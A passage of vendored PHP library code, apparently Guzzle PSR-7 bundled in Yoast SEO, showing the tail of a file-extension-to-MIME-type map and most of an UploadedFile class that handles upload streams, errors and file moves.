=> 'audio/midi', 'mie' => 'application/x-mie', 'mif' => 'application/vnd.mif', 'mime' => 'message/rfc822', 'mj2' => 'video/mj2', 'mjp2' => 'video/mj2', 'mjs' => 'text/javascript', 'mk3d' => 'video/x-matroska', 'mka' => 'audio/x-matroska', 'mkd' => 'text/x-markdown', 'mks' => 'video/x-matroska', 'mkv' => 'video/x-matroska', 'mlp' => 'application/vnd.dolby.mlp', 'mmd' => 'application/vnd.chipnuts.karaoke-mmd', 'mmf' => 'application/vnd.smaf', 'mml' => 'text/mathml', 'mmr' => 'image/vnd.fujixerox.edmics-mmr', 'mng' => 'video/x-mng', 'mny' => 'application/x-msmoney', 'mobi' => 'application/x-mobipocket-ebook', 'mods' => 'application/mods+xml', 'mov' => 'video/quicktime', 'movie' => 'video/x-sgi-movie', 'mp2' => 'audio/mpeg', 'mp2a' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mp4' => 'video/mp4', 'mp4a' => 'audio/mp4', 'mp4s' => 'application/mp4', 'mp4v' => 'video/mp4', 'mp21' => 'application/mp21', 'mpc' => 'application/vnd.mophun.certificate', 'mpd' => 'application/dash+xml', 'mpe' => 'video/mpeg', 'mpeg' => 'video/mpeg', 'mpf' => 'application/media-policy-dataset+xml', 'mpg' => 'video/mpeg', 'mpg4' => 'video/mp4', 'mpga' => 'audio/mpeg', 'mpkg' => 'application/vnd.apple.installer+xml', 'mpm' => 'application/vnd.blueice.multipass', 'mpn' => 'application/vnd.mophun.application', 'mpp' => 'application/vnd.ms-project', 'mpt' => 'application/vnd.ms-project', 'mpy' => 'application/vnd.ibm.minipay', 'mqy' => 'application/vnd.mobius.mqy', 'mrc' => 'application/marc', 'mrcx' => 'application/marcxml+xml', 'ms' => 'text/troff', 'mscml' => 'application/mediaservercontrol+xml', 'mseed' => 'application/vnd.fdsn.mseed', 'mseq' => 'application/vnd.mseq', 'msf' => 'application/vnd.epson.msf', 'msg' => 'application/vnd.ms-outlook', 'msh' => 'model/mesh', 'msi' => 'application/x-msdownload', 'msix' => 'application/msix', 'msixbundle' => 'application/msixbundle', 'msl' => 'application/vnd.mobius.msl', 'msm' => 'application/octet-stream', 'msp' => 'application/octet-stream', 'msty' => 'application/vnd.muvee.style', 'mtl' => 'model/mtl', 'mts' => 'model/vnd.mts', 'mus' => 'application/vnd.musician', 'musd' => 'application/mmt-usd+xml', 'musicxml' => 'application/vnd.recordare.musicxml+xml', 'mvb' => 'application/x-msmediaview', 'mvt' => 'application/vnd.mapbox-vector-tile', 'mwf' => 'application/vnd.mfer', 'mxf' => 'application/mxf', 'mxl' => 'application/vnd.recordare.musicxml', 'mxmf' => 'audio/mobile-xmf', 'mxml' => 'application/xv+xml', 'mxs' => 'application/vnd.triscape.mxs', 'mxu' => 'video/vnd.mpegurl', 'n-gage' => 'application/vnd.nokia.n-gage.symbian.install', 'n3' => 'text/n3', 'nb' => 'application/mathematica', 'nbp' => 'application/vnd.wolfram.player', 'nc' => 'application/x-netcdf', 'ncx' => 'application/x-dtbncx+xml', 'nfo' => 'text/x-nfo', 'ngdat' => 'application/vnd.nokia.n-gage.data', 'nitf' => 'application/vnd.nitf', 'nlu' => 'application/vnd.neurolanguage.nlu', 'nml' => 'application/vnd.enliven', 'nnd' => 'application/vnd.noblenet-directory', 'nns' => 'application/vnd.noblenet-sealer', 'nnw' => 'application/vnd.noblenet-web', 'npx' => 'image/vnd.net-fpx', 'nq' => 'application/n-quads', 'nsc' => 'application/x-conference', 'nsf' => 'application/vnd.lotus-notes', 'nt' => 'application/n-triples', 'ntf' => 'application/vnd.nitf', 'numbers' => 'application/x-iwork-numbers-sffnumbers', 'nzb' => 'application/x-nzb', 'oa2' => 'application/vnd.fujitsu.oasys2', 'oa3' => 'application/vnd.fujitsu.oasys3', 'oas' => 'application/vnd.fujitsu.oasys', 'obd' => 'application/x-msbinder', 'obgx' => 'application/vnd.openblox.game+xml', 'obj' => 'model/obj', 'oda' => 'application/oda', 'odb' => 'application/vnd.oasis.opendocument.database', 'odc' => 'application/vnd.oasis.opendocument.chart', 'odf' => 'application/vnd.oasis.opendocument.formula', 'odft' => 'application/vnd.oasis.opendocument.formula-template', 'odg' => 'application/vnd.oasis.opendocument.graphics', 'odi' => 'application/vnd.oasis.opendocument.image', 'odm' => 'application/vnd.oasis.opendocument.text-master', 'odp' => 'application/vnd.oasis.opendocument.presentation', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', 'odt' => 'application/vnd.oasis.opendocument.text', 'oga' => 'audio/ogg', 'ogex' => 'model/vnd.opengex', 'ogg' => 'audio/ogg', 'ogv' => 'video/ogg', 'ogx' => 'application/ogg', 'omdoc' => 'application/omdoc+xml', 'onepkg' => 'application/onenote', 'onetmp' => 'application/onenote', 'onetoc' => 'application/onenote', 'onetoc2' => 'application/onenote', 'opf' => 'application/oebps-package+xml', 'opml' => 'text/x-opml', 'oprc' => 'application/vnd.palm', 'opus' => 'audio/ogg', 'org' => 'text/x-org', 'osf' => 'application/vnd.yamaha.openscoreformat', 'osfpvg' => 'application/vnd.yamaha.openscoreformat.osfpvg+xml', 'osm' => 'application/vnd.openstreetmap.data+xml', 'otc' => 'application/vnd.oasis.opendocument.chart-template', 'otf' => 'font/otf', 'otg' => 'application/vnd.oasis.opendocument.graphics-template', 'oth' => 'application/vnd.oasis.opendocument.text-web', 'oti' => 'application/vnd.oasis.opendocument.image-template', 'otp' => 'application/vnd.oasis.opendocument.presentation-template', 'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template', 'ott' => 'application/vnd.oasis.opendocument.text-template', 'ova' => 'application/x-virtualbox-ova', 'ovf' => 'application/x-virtualbox-ovf', 'owl' => 'application/rdf+xml', 'oxps' => 'application/oxps', 'oxt' => 'application/vnd.openofficeorg.extension', 'p' => 'text/x-pascal', 'p7a' => 'application/x-pkcs7-signature', 'p7b' => 'application/x-pkcs7-certificates', 'p7c' => 'application/pkcs7-mime', 'p7m' => 'application/pkcs7-mime', 'p7r' => 'application/x-pkcs7-certreqresp', 'p7s' => 'application/pkcs7-signature', 'p8' => 'application/pkcs8', 'p10' => 'application/x-pkcs10', 'p12' => 'application/x-pkcs12', 'pac' => 'application/x-ns-proxy-autoconfig', 'pages' => 'application/x-iwork-pages-sffpages', 'pas' => 'text/x-pascal', 'paw' => 'application/vnd.pawaafile', 'pbd' => 'application/vnd.powerbuilder6', 'pbm' => 'image/x-portable-bitmap', 'pcap' => 'application/vnd.tcpdump.pcap', 'pcf' => 'application/x-font-pcf', 'pcl' => 'application/vnd.hp-pcl', 'pclxl' => 'application/vnd.hp-pclxl', 'pct' => 'image/x-pict', 'pcurl' => 'application/vnd.curl.pcurl', 'pcx' => 'image/x-pcx', 'pdb' => 'application/x-pilot', 'pde' => 'text/x-processing', 'pdf' => 'application/pdf', 'pem' => 'application/x-x509-user-cert', 'pfa' => 'application/x-font-type1', 'pfb' => 'application/x-font-type1', 'pfm' => 'application/x-font-type1', 'pfr' => 'application/font-tdpfr', 'pfx' => 'application/x-pkcs12', 'pgm' => 'image/x-portable-graymap', 'pgn' => 'application/x-chess-pgn', 'pgp' => 'application/pgp', 'phar' => 'application/octet-stream', 'php' => 'application/x-httpd-php', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'phtml' => 'application/x-httpd-php', 'pic' => 'image/x-pict', 'pkg' => 'application/octet-stream', 'pki' => 'application/pkixcmp', 'pkipath' => 'application/pkix-pkipath', 'pkpass' => 'application/vnd.apple.pkpass', 'pl' => 'application/x-perl', 'plb' => 'application/vnd.3gpp.pic-bw-large', 'plc' => 'application/vnd.mobius.plc', 'plf' => 'application/vnd.pocketlearn', 'pls' => 'application/pls+xml', 'pm' => 'application/x-perl', 'pml' => 'application/vnd.ctc-posml', 'png' => 'image/png', 'pnm' => 'image/x-portable-anymap', 'portpkg' => 'application/vnd.macports.portpkg', 'pot' => 'application/vnd.ms-powerpoint', 'potm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppa' => 'application/vnd.ms-powerpoint', 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12', 'ppd' => 'application/vnd.cups-ppd', 'ppm' => 'image/x-portable-pixmap', 'pps' => 'application/vnd.ms-powerpoint', 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'ppt' => 'application/powerpoint', 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'pqa' => 'application/vnd.palm', 'prc' => 'model/prc', 'pre' => 'application/vnd.lotus-freelance', 'prf' => 'application/pics-rules', 'provx' => 'application/provenance+xml', 'ps' => 'application/postscript', 'psb' => 'application/vnd.3gpp.pic-bw-small', 'psd' => 'application/x-photoshop', 'psf' => 'application/x-font-linux-psf', 'pskcxml' => 'application/pskc+xml', 'pti' => 'image/prs.pti', 'ptid' => 'application/vnd.pvi.ptid1', 'pub' => 'application/x-mspublisher', 'pvb' => 'application/vnd.3gpp.pic-bw-var', 'pwn' => 'application/vnd.3m.post-it-notes', 'pya' => 'audio/vnd.ms-playready.media.pya', 'pyo' => 'model/vnd.pytha.pyox', 'pyox' => 'model/vnd.pytha.pyox', 'pyv' => 'video/vnd.ms-playready.media.pyv', 'qam' => 'application/vnd.epson.quickanime', 'qbo' => 'application/vnd.intu.qbo', 'qfx' => 'application/vnd.intu.qfx', 'qps' => 'application/vnd.publishare-delta-tree', 'qt' => 'video/quicktime', 'qwd' => 'application/vnd.quark.quarkxpress', 'qwt' => 'application/vnd.quark.quarkxpress', 'qxb' => 'application/vnd.quark.quarkxpress', 'qxd' => 'application/vnd.quark.quarkxpress', 'qxl' => 'application/vnd.quark.quarkxpress', 'qxt' => 'application/vnd.quark.quarkxpress', 'ra' => 'audio/x-realaudio', 'ram' => 'audio/x-pn-realaudio', 'raml' => 'application/raml+yaml', 'rapd' => 'application/route-apd+xml', 'rar' => 'application/x-rar', 'ras' => 'image/x-cmu-raster', 'rcprofile' => 'application/vnd.ipunplugged.rcprofile', 'rdf' => 'application/rdf+xml', 'rdz' => 'application/vnd.data-vision.rdz', 'relo' => 'application/p2p-overlay+xml', 'rep' => 'application/vnd.businessobjects', 'res' => 'application/x-dtbresource+xml', 'rgb' => 'image/x-rgb', 'rif' => 'application/reginfo+xml', 'rip' => 'audio/vnd.rip', 'ris' => 'application/x-research-info-systems', 'rl' => 'application/resource-lists+xml', 'rlc' => 'image/vnd.fujixerox.edmics-rlc', 'rld' => 'application/resource-lists-diff+xml', 'rm' => 'audio/x-pn-realaudio', 'rmi' => 'audio/midi', 'rmp' => 'audio/x-pn-realaudio-plugin', 'rms' => 'application/vnd.jcp.javame.midlet-rms', 'rmvb' => 'application/vnd.rn-realmedia-vbr', 'rnc' => 'application/relax-ng-compact-syntax', 'rng' => 'application/xml', 'roa' => 'application/rpki-roa', 'roff' => 'text/troff', 'rp9' => 'application/vnd.cloanto.rp9', 'rpm' => 'audio/x-pn-realaudio-plugin', 'rpss' => 'application/vnd.nokia.radio-presets', 'rpst' => 'application/vnd.nokia.radio-preset', 'rq' => 'application/sparql-query', 'rs' => 'application/rls-services+xml', 'rsa' => 'application/x-pkcs7', 'rsat' => 'application/atsc-rsat+xml', 'rsd' => 'application/rsd+xml', 'rsheet' => 'application/urc-ressheet+xml', 'rss' => 'application/rss+xml', 'rtf' => 'text/rtf', 'rtx' => 'text/richtext', 'run' => 'application/x-makeself', 'rusd' => 'application/route-usd+xml', 'rv' => 'video/vnd.rn-realvideo', 's' => 'text/x-asm', 's3m' => 'audio/s3m', 'saf' => 'application/vnd.yamaha.smaf-audio', 'sass' => 'text/x-sass', 'sbml' => 'application/sbml+xml', 'sc' => 'application/vnd.ibm.secure-container', 'scd' => 'application/x-msschedule', 'scm' => 'application/vnd.lotus-screencam', 'scq' => 'application/scvp-cv-request', 'scs' => 'application/scvp-cv-response', 'scss' => 'text/x-scss', 'scurl' => 'text/vnd.curl.scurl', 'sda' => 'application/vnd.stardivision.draw', 'sdc' => 'application/vnd.stardivision.calc', 'sdd' => 'application/vnd.stardivision.impress', 'sdkd' => 'application/vnd.solent.sdkm+xml', 'sdkm' => 'application/vnd.solent.sdkm+xml', 'sdp' => 'application/sdp', 'sdw' => 'application/vnd.stardivision.writer', 'sea' => 'application/octet-stream', 'see' => 'application/vnd.seemail', 'seed' => 'application/vnd.fdsn.seed', 'sema' => 'application/vnd.sema', 'semd' => 'application/vnd.semd', 'semf' => 'application/vnd.semf', 'senmlx' => 'application/senml+xml', 'sensmlx' => 'application/sensml+xml', 'ser' => 'application/java-serialized-object', 'setpay' => 'application/set-payment-initiation', 'setreg' => 'application/set-registration-initiation', 'sfd-hdstx' => 'application/vnd.hydrostatix.sof-data', 'sfs' => 'application/vnd.spotfire.sfs', 'sfv' => 'text/x-sfv', 'sgi' => 'image/sgi', 'sgl' => 'application/vnd.stardivision.writer-global', 'sgm' => 'text/sgml', 'sgml' => 'text/sgml', 'sh' => 'application/x-sh', 'shar' => 'application/x-shar', 'shex' => 'text/shex', 'shf' => 'application/shf+xml', 'shtml' => 'text/html', 'sid' => 'image/x-mrsid-image', 'sieve' => 'application/sieve', 'sig' => 'application/pgp-signature', 'sil' => 'audio/silk', 'silo' => 'model/mesh', 'sis' => 'application/vnd.symbian.install', 'sisx' => 'application/vnd.symbian.install', 'sit' => 'application/x-stuffit', 'sitx' => 'application/x-stuffitx', 'siv' => 'application/sieve', 'skd' => 'application/vnd.koan', 'skm' => 'application/vnd.koan', 'skp' => 'application/vnd.koan', 'skt' => 'application/vnd.koan', 'sldm' => 'application/vnd.ms-powerpoint.slide.macroenabled.12', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'slim' => 'text/slim', 'slm' => 'text/slim', 'sls' => 'application/route-s-tsid+xml', 'slt' => 'application/vnd.epson.salt', 'sm' => 'application/vnd.stepmania.stepchart', 'smf' => 'application/vnd.stardivision.math', 'smi' => 'application/smil', 'smil' => 'application/smil', 'smv' => 'video/x-smv', 'smzip' => 'application/vnd.stepmania.package', 'snd' => 'audio/basic', 'snf' => 'application/x-font-snf', 'so' => 'application/octet-stream', 'spc' => 'application/x-pkcs7-certificates', 'spdx' => 'text/spdx', 'spf' => 'application/vnd.yamaha.smaf-phrase', 'spl' => 'application/x-futuresplash', 'spot' => 'text/vnd.in3d.spot', 'spp' => 'application/scvp-vp-response', 'spq' => 'application/scvp-vp-request', 'spx' => 'audio/ogg', 'sql' => 'application/x-sql', 'src' => 'application/x-wais-source', 'srt' => 'application/x-subrip', 'sru' => 'application/sru+xml', 'srx' => 'application/sparql-results+xml', 'ssdl' => 'application/ssdl+xml', 'sse' => 'application/vnd.kodak-descriptor', 'ssf' => 'application/vnd.epson.ssf', 'ssml' => 'application/ssml+xml', 'sst' => 'application/octet-stream', 'st' => 'application/vnd.sailingtracker.track', 'stc' => 'application/vnd.sun.xml.calc.template', 'std' => 'application/vnd.sun.xml.draw.template', 'step' => 'application/STEP', 'stf' => 'application/vnd.wt.stf', 'sti' => 'application/vnd.sun.xml.impress.template', 'stk' => 'application/hyperstudio', 'stl' => 'model/stl', 'stp' => 'application/STEP', 'stpx' => 'model/step+xml', 'stpxz' => 'model/step-xml+zip', 'stpz' => 'model/step+zip', 'str' => 'application/vnd.pg.format', 'stw' => 'application/vnd.sun.xml.writer.template', 'styl' => 'text/stylus', 'stylus' => 'text/stylus', 'sub' => 'text/vnd.dvb.subtitle', 'sus' => 'application/vnd.sus-calendar', 'susp' => 'application/vnd.sus-calendar', 'sv4cpio' => 'application/x-sv4cpio', 'sv4crc' => 'application/x-sv4crc', 'svc' => 'application/vnd.dvb.service', 'svd' => 'application/vnd.svd', 'svg' => 'image/svg+xml', 'svgz' => 'image/svg+xml', 'swa' => 'application/x-director', 'swf' => 'application/x-shockwave-flash', 'swi' => 'application/vnd.aristanetworks.swi', 'swidtag' => 'application/swid+xml', 'sxc' => 'application/vnd.sun.xml.calc', 'sxd' => 'application/vnd.sun.xml.draw', 'sxg' => 'application/vnd.sun.xml.writer.global', 'sxi' => 'application/vnd.sun.xml.impress', 'sxm' => 'application/vnd.sun.xml.math', 'sxw' => 'application/vnd.sun.xml.writer', 't' => 'text/troff', 't3' => 'application/x-t3vm-image', 't38' => 'image/t38', 'taglet' => 'application/vnd.mynfc', 'tao' => 'application/vnd.tao.intent-module-archive', 'tap' => 'image/vnd.tencent.tap', 'tar' => 'application/x-tar', 'tcap' => 'application/vnd.3gpp2.tcap', 'tcl' => 'application/x-tcl', 'td' => 'application/urc-targetdesc+xml', 'teacher' => 'application/vnd.smart.teacher', 'tei' => 'application/tei+xml', 'teicorpus' => 'application/tei+xml', 'tex' => 'application/x-tex', 'texi' => 'application/x-texinfo', 'texinfo' => 'application/x-texinfo', 'text' => 'text/plain', 'tfi' => 'application/thraud+xml', 'tfm' => 'application/x-tex-tfm', 'tfx' => 'image/tiff-fx', 'tga' => 'image/x-tga', 'tgz' => 'application/x-tar', 'thmx' => 'application/vnd.ms-officetheme', 'tif' => 'image/tiff', 'tiff' => 'image/tiff', 'tk' => 'application/x-tcl', 'tmo' => 'application/vnd.tmobile-livetv', 'toml' => 'application/toml', 'torrent' => 'application/x-bittorrent', 'tpl' => 'application/vnd.groove-tool-template', 'tpt' => 'application/vnd.trid.tpt', 'tr' => 'text/troff', 'tra' => 'application/vnd.trueapp', 'trig' => 'application/trig', 'trm' => 'application/x-msterminal', 'ts' => 'video/mp2t', 'tsd' => 'application/timestamped-data', 'tsv' => 'text/tab-separated-values', 'ttc' => 'font/collection', 'ttf' => 'font/ttf', 'ttl' => 'text/turtle', 'ttml' => 'application/ttml+xml', 'twd' => 'application/vnd.simtech-mindmapper', 'twds' => 'application/vnd.simtech-mindmapper', 'txd' => 'application/vnd.genomatix.tuxedo', 'txf' => 'application/vnd.mobius.txf', 'txt' => 'text/plain', 'u3d' => 'model/u3d', 'u8dsn' => 'message/global-delivery-status', 'u8hdr' => 'message/global-headers', 'u8mdn' => 'message/global-disposition-notification', 'u8msg' => 'message/global', 'u32' => 'application/x-authorware-bin', 'ubj' => 'application/ubjson', 'udeb' => 'application/x-debian-package', 'ufd' => 'application/vnd.ufdl', 'ufdl' => 'application/vnd.ufdl', 'ulx' => 'application/x-glulx', 'umj' => 'application/vnd.umajin', 'unityweb' => 'application/vnd.unity', 'uo' => 'application/vnd.uoml+xml', 'uoml' => 'application/vnd.uoml+xml', 'uri' => 'text/uri-list', 'uris' => 'text/uri-list', 'urls' => 'text/uri-list', 'usda' => 'model/vnd.usda', 'usdz' => 'model/vnd.usdz+zip', 'ustar' => 'application/x-ustar', 'utz' => 'application/vnd.uiq.theme', 'uu' => 'text/x-uuencode', 'uva' => 'audio/vnd.dece.audio', 'uvd' => 'application/vnd.dece.data', 'uvf' => 'application/vnd.dece.data', 'uvg' => 'image/vnd.dece.graphic', 'uvh' => 'video/vnd.dece.hd', 'uvi' => 'image/vnd.dece.graphic', 'uvm' => 'video/vnd.dece.mobile', 'uvp' => 'video/vnd.dece.pd', 'uvs' => 'video/vnd.dece.sd', 'uvt' => 'application/vnd.dece.ttml+xml', 'uvu' => 'video/vnd.uvvu.mp4', 'uvv' => 'video/vnd.dece.video', 'uvva' => 'audio/vnd.dece.audio', 'uvvd' => 'application/vnd.dece.data', 'uvvf' => 'application/vnd.dece.data', 'uvvg' => 'image/vnd.dece.graphic', 'uvvh' => 'video/vnd.dece.hd', 'uvvi' => 'image/vnd.dece.graphic', 'uvvm' => 'video/vnd.dece.mobile', 'uvvp' => 'video/vnd.dece.pd', 'uvvs' => 'video/vnd.dece.sd', 'uvvt' => 'application/vnd.dece.ttml+xml', 'uvvu' => 'video/vnd.uvvu.mp4', 'uvvv' => 'video/vnd.dece.video', 'uvvx' => 'application/vnd.dece.unspecified', 'uvvz' => 'application/vnd.dece.zip', 'uvx' => 'application/vnd.dece.unspecified', 'uvz' => 'application/vnd.dece.zip', 'vbox' => 'application/x-virtualbox-vbox', 'vbox-extpack' => 'application/x-virtualbox-vbox-extpack', 'vcard' => 'text/vcard', 'vcd' => 'application/x-cdlink', 'vcf' => 'text/x-vcard', 'vcg' => 'application/vnd.groove-vcard', 'vcs' => 'text/x-vcalendar', 'vcx' => 'application/vnd.vcx', 'vdi' => 'application/x-virtualbox-vdi', 'vds' => 'model/vnd.sap.vds', 'vhd' => 'application/x-virtualbox-vhd', 'vis' => 'application/vnd.visionary', 'viv' => 'video/vnd.vivo', 'vlc' => 'application/videolan', 'vmdk' => 'application/x-virtualbox-vmdk', 'vob' => 'video/x-ms-vob', 'vor' => 'application/vnd.stardivision.writer', 'vox' => 'application/x-authorware-bin', 'vrml' => 'model/vrml', 'vsd' => 'application/vnd.visio', 'vsf' => 'application/vnd.vsf', 'vss' => 'application/vnd.visio', 'vst' => 'application/vnd.visio', 'vsw' => 'application/vnd.visio', 'vtf' => 'image/vnd.valve.source.texture', 'vtt' => 'text/vtt', 'vtu' => 'model/vnd.vtu', 'vxml' => 'application/voicexml+xml', 'w3d' => 'application/x-director', 'wad' => 'application/x-doom', 'wadl' => 'application/vnd.sun.wadl+xml', 'war' => 'application/java-archive', 'wasm' => 'application/wasm', 'wav' => 'audio/x-wav', 'wax' => 'audio/x-ms-wax', 'wbmp' => 'image/vnd.wap.wbmp', 'wbs' => 'application/vnd.criticaltools.wbs+xml', 'wbxml' => 'application/wbxml', 'wcm' => 'application/vnd.ms-works', 'wdb' => 'application/vnd.ms-works', 'wdp' => 'image/vnd.ms-photo', 'weba' => 'audio/webm', 'webapp' => 'application/x-web-app-manifest+json', 'webm' => 'video/webm', 'webmanifest' => 'application/manifest+json', 'webp' => 'image/webp', 'wg' => 'application/vnd.pmi.widget', 'wgsl' => 'text/wgsl', 'wgt' => 'application/widget', 'wif' => 'application/watcherinfo+xml', 'wks' => 'application/vnd.ms-works', 'wm' => 'video/x-ms-wm', 'wma' => 'audio/x-ms-wma', 'wmd' => 'application/x-ms-wmd', 'wmf' => 'image/wmf', 'wml' => 'text/vnd.wap.wml', 'wmlc' => 'application/wmlc', 'wmls' => 'text/vnd.wap.wmlscript', 'wmlsc' => 'application/vnd.wap.wmlscriptc', 'wmv' => 'video/x-ms-wmv', 'wmx' => 'video/x-ms-wmx', 'wmz' => 'application/x-msmetafile', 'woff' => 'font/woff', 'woff2' => 'font/woff2', 'word' => 'application/msword', 'wpd' => 'application/vnd.wordperfect', 'wpl' => 'application/vnd.ms-wpl', 'wps' => 'application/vnd.ms-works', 'wqd' => 'application/vnd.wqd', 'wri' => 'application/x-mswrite', 'wrl' => 'model/vrml', 'wsc' => 'message/vnd.wfa.wsc', 'wsdl' => 'application/wsdl+xml', 'wspolicy' => 'application/wspolicy+xml', 'wtb' => 'application/vnd.webturbo', 'wvx' => 'video/x-ms-wvx', 'x3d' => 'model/x3d+xml', 'x3db' => 'model/x3d+fastinfoset', 'x3dbz' => 'model/x3d+binary', 'x3dv' => 'model/x3d-vrml', 'x3dvz' => 'model/x3d+vrml', 'x3dz' => 'model/x3d+xml', 'x32' => 'application/x-authorware-bin', 'x_b' => 'model/vnd.parasolid.transmit.binary', 'x_t' => 'model/vnd.parasolid.transmit.text', 'xaml' => 'application/xaml+xml', 'xap' => 'application/x-silverlight-app', 'xar' => 'application/vnd.xara', 'xav' => 'application/xcap-att+xml', 'xbap' => 'application/x-ms-xbap', 'xbd' => 'application/vnd.fujixerox.docuworks.binder', 'xbm' => 'image/x-xbitmap', 'xca' => 'application/xcap-caps+xml', 'xcs' => 'application/calendar+xml', 'xdf' => 'application/xcap-diff+xml', 'xdm' => 'application/vnd.syncml.dm+xml', 'xdp' => 'application/vnd.adobe.xdp+xml', 'xdssc' => 'application/dssc+xml', 'xdw' => 'application/vnd.fujixerox.docuworks', 'xel' => 'application/xcap-el+xml', 'xenc' => 'application/xenc+xml', 'xer' => 'application/patch-ops-error+xml', 'xfdf' => 'application/xfdf', 'xfdl' => 'application/vnd.xfdl', 'xht' => 'application/xhtml+xml', 'xhtm' => 'application/vnd.pwg-xhtml-print+xml', 'xhtml' => 'application/xhtml+xml', 'xhvml' => 'application/xv+xml', 'xif' => 'image/vnd.xiff', 'xl' => 'application/excel', 'xla' => 'application/vnd.ms-excel', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlc' => 'application/vnd.ms-excel', 'xlf' => 'application/xliff+xml', 'xlm' => 'application/vnd.ms-excel', 'xls' => 'application/vnd.ms-excel', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xlt' => 'application/vnd.ms-excel', 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'xlw' => 'application/vnd.ms-excel', 'xm' => 'audio/xm', 'xml' => 'application/xml', 'xns' => 'application/xcap-ns+xml', 'xo' => 'application/vnd.olpc-sugar', 'xop' => 'application/xop+xml', 'xpi' => 'application/x-xpinstall', 'xpl' => 'application/xproc+xml', 'xpm' => 'image/x-xpixmap', 'xpr' => 'application/vnd.is-xpr', 'xps' => 'application/vnd.ms-xpsdocument', 'xpw' => 'application/vnd.intercon.formnet', 'xpx' => 'application/vnd.intercon.formnet', 'xsd' => 'application/xml', 'xsf' => 'application/prs.xsf+xml', 'xsl' => 'application/xml', 'xslt' => 'application/xslt+xml', 'xsm' => 'application/vnd.syncml+xml', 'xspf' => 'application/xspf+xml', 'xul' => 'application/vnd.mozilla.xul+xml', 'xvm' => 'application/xv+xml', 'xvml' => 'application/xv+xml', 'xwd' => 'image/x-xwindowdump', 'xyz' => 'chemical/x-xyz', 'xz' => 'application/x-xz', 'yaml' => 'text/yaml', 'yang' => 'application/yang', 'yin' => 'application/yin+xml', 'yml' => 'text/yaml', 'ymp' => 'text/x-suse-ymp', 'z' => 'application/x-compress', 'z1' => 'application/x-zmachine', 'z2' => 'application/x-zmachine', 'z3' => 'application/x-zmachine', 'z4' => 'application/x-zmachine', 'z5' => 'application/x-zmachine', 'z6' => 'application/x-zmachine', 'z7' => 'application/x-zmachine', 'z8' => 'application/x-zmachine', 'zaz' => 'application/vnd.zzazz.deck+xml', 'zip' => 'application/zip', 'zir' => 'application/vnd.zul', 'zirz' => 'application/vnd.zul', 'zmm' => 'application/vnd.handheld-entertainment+xml', 'zsh' => 'text/x-scriptzsh']; /** * Determines the mimetype of a file by looking at its extension. * * @see https://raw.githubusercontent.com/jshttp/mime-db/master/db.json */ public static function fromFilename(string $filename) : ?string { return self::fromExtension(\pathinfo($filename, \PATHINFO_EXTENSION)); } /** * Maps a file extensions to a mimetype. * * @see https://raw.githubusercontent.com/jshttp/mime-db/master/db.json */ public static function fromExtension(string $extension) : ?string { return self::MIME_TYPES[\strtolower($extension)] ?? null; } } guzzlehttp/psr7/src/UploadedFile.php000066600000011463151734252230013531 0ustar00setError($errorStatus); $this->size = $size; $this->clientFilename = $clientFilename; $this->clientMediaType = $clientMediaType; if ($this->isOk()) { $this->setStreamOrFile($streamOrFile); } } /** * Depending on the value set file or stream variable * * @param StreamInterface|string|resource $streamOrFile * * @throws InvalidArgumentException */ private function setStreamOrFile($streamOrFile) : void { if (\is_string($streamOrFile)) { $this->file = $streamOrFile; } elseif (\is_resource($streamOrFile)) { $this->stream = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream($streamOrFile); } elseif ($streamOrFile instanceof \YoastSEO_Vendor\Psr\Http\Message\StreamInterface) { $this->stream = $streamOrFile; } else { throw new \InvalidArgumentException('Invalid stream or file provided for UploadedFile'); } } /** * @throws InvalidArgumentException */ private function setError(int $error) : void { if (\false === \in_array($error, \YoastSEO_Vendor\GuzzleHttp\Psr7\UploadedFile::ERRORS, \true)) { throw new \InvalidArgumentException('Invalid error status for UploadedFile'); } $this->error = $error; } private static function isStringNotEmpty($param) : bool { return \is_string($param) && \false === empty($param); } /** * Return true if there is no upload error */ private function isOk() : bool { return $this->error === \UPLOAD_ERR_OK; } public function isMoved() : bool { return $this->moved; } /** * @throws RuntimeException if is moved or not ok */ private function validateActive() : void { if (\false === $this->isOk()) { throw new \RuntimeException('Cannot retrieve stream due to upload error'); } if ($this->isMoved()) { throw new \RuntimeException('Cannot retrieve stream after it has already been moved'); } } public function getStream() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { $this->validateActive(); if ($this->stream instanceof \YoastSEO_Vendor\Psr\Http\Message\StreamInterface) { return $this->stream; } /** @var string $file */ $file = $this->file; return new \YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream($file, 'r+'); } public function moveTo($targetPath) : void { $this->validateActive(); if (\false === self::isStringNotEmpty($targetPath)) { throw new \InvalidArgumentException('Invalid path provided for move operation; must be a non-empty string'); } if ($this->file) { $this->moved = \PHP_SAPI === 'cli' ? \rename($this->file, $targetPath) : \move_uploaded_file($this->file, $targetPath); } else { \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToStream($this->getStream(), new \YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream($targetPath, 'w')); $this->moved = \true; } if (\false === $this->moved) { throw new \RuntimeException(\sprintf('Uploaded file could not be moved to %s', $targetPath)); } } public function getSize() : ?int { return $this->size; } public function getError() : int { return $this->error; } public function getClientFilename() : ?string { return $this->clientFilename; } public function getClientMediaType() : ?string { return $this->clientMediaType; } } 